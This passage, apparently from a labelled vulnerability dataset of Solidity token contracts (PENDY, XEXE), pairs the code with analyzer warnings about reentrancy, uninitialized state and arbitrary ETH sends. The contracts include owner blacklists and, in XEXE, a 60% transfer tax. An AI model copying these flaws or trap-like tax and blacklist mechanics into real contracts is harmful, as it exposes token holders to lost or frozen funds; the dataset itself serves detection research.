mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 495fada): PENDY._taxWallet should be immutable \n\t// Recommendation for 495fada: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09c6327): PENDY._initialBuyTax should be constant \n\t// Recommendation for 09c6327: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b787d12): PENDY._initialSellTax should be constant \n\t// Recommendation for b787d12: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18f1f00): PENDY._reduceBuyTaxAt should be constant \n\t// Recommendation for 18f1f00: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa9a1dc): PENDY._reduceSellTaxAt should be constant \n\t// Recommendation for aa9a1dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9b2a0c): PENDY._preventSwapBefore should be constant \n\t// Recommendation for f9b2a0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PENDY\"; //\n\n string private constant _symbol = unicode\"$PENDY\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec44179): PENDY._taxSwapThreshold should be constant \n\t// Recommendation for ec44179: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c9970d): PENDY._maxTaxSwap should be constant \n\t// Recommendation for 1c9970d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x558E290b0D516Fae0606fb3Df6c0562D8916Bd15);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0044758): PENDY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0044758: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1019a1e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1019a1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 601d154): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 601d154: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1019a1e\n\t\t// reentrancy-benign | ID: 601d154\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1019a1e\n\t\t// reentrancy-benign | ID: 601d154\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 822b59e): PENDY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 822b59e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 601d154\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1019a1e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b8b6a1c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b8b6a1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a997641): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a997641: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b8b6a1c\n\t\t\t\t// reentrancy-eth | ID: a997641\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b8b6a1c\n\t\t\t\t\t// reentrancy-eth | ID: a997641\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a997641\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a997641\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a997641\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b8b6a1c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a997641\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a997641\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b8b6a1c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1019a1e\n\t\t// reentrancy-events | ID: b8b6a1c\n\t\t// reentrancy-benign | ID: 601d154\n\t\t// reentrancy-eth | ID: a997641\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1019a1e\n\t\t// reentrancy-events | ID: b8b6a1c\n\t\t// reentrancy-eth | ID: a997641\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9a15af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e9a15af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8fac540): PENDY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8fac540: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a331435): PENDY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a331435: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b467a2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b467a2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e9a15af\n\t\t// reentrancy-eth | ID: b467a2f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e9a15af\n\t\t// unused-return | ID: 8fac540\n\t\t// reentrancy-eth | ID: b467a2f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e9a15af\n\t\t// unused-return | ID: a331435\n\t\t// reentrancy-eth | ID: b467a2f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e9a15af\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b467a2f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10118.sol",
"size_bytes": 19867,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract XEXE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 76699c6): XEXE.bots is never initialized. It is used in XEXE._transfer(address,address,uint256)\n\t// Recommendation for 76699c6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 63bf6ac): XEXE._taxWallet should be immutable \n\t// Recommendation for 63bf6ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ecf7994): XEXE._initialBuyTax should be constant \n\t// Recommendation for ecf7994: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02b33cd): XEXE._initialSellTax should be constant \n\t// Recommendation for 02b33cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c32f92e): XEXE._reduceBuyTaxAt should be constant \n\t// Recommendation for c32f92e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: baf97fa): XEXE._reduceSellTaxAt should be constant \n\t// Recommendation for baf97fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: b03272e): XEXE._preventSwapBefore should be constant \n\t// Recommendation for b03272e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 60;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\" XEXE \";\n\n string private constant _symbol = unicode\"XEXE\";\n\n uint256 public _maxTxAmount = 4206900000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3bb5202): XEXE._taxSwapThreshold should be constant \n\t// Recommendation for 3bb5202: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 783b466): XEXE._maxTaxSwap should be constant \n\t// Recommendation for 783b466: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5413800000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 74f3135): XEXE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 74f3135: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ea82547): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ea82547: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 09129d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 09129d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ea82547\n\t\t// reentrancy-benign | ID: 09129d8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ea82547\n\t\t// reentrancy-benign | ID: 09129d8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6b4b7e5): XEXE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6b4b7e5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 09129d8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ea82547\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ca8e354): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ca8e354: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 76699c6): XEXE.bots is never initialized. It is used in XEXE._transfer(address,address,uint256)\n\t// Recommendation for 76699c6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 93e740f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 93e740f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ca8e354\n\t\t\t\t// reentrancy-eth | ID: 93e740f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ca8e354\n\t\t\t\t\t// reentrancy-eth | ID: 93e740f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 93e740f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 93e740f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 93e740f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ca8e354\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 93e740f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 93e740f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ca8e354\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ca8e354\n\t\t// reentrancy-events | ID: ea82547\n\t\t// reentrancy-benign | ID: 09129d8\n\t\t// reentrancy-eth | ID: 93e740f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function clearTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: edba4c9): XEXE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for edba4c9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ca8e354\n\t\t// reentrancy-events | ID: ea82547\n\t\t// reentrancy-eth | ID: 93e740f\n\t\t// arbitrary-send-eth | ID: edba4c9\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5219b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5219b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8fe2678): XEXE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8fe2678: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7da2d69): XEXE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7da2d69: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 04032c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 04032c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a5219b3\n\t\t// reentrancy-eth | ID: 04032c4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a5219b3\n\t\t// unused-return | ID: 7da2d69\n\t\t// reentrancy-eth | ID: 04032c4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a5219b3\n\t\t// unused-return | ID: 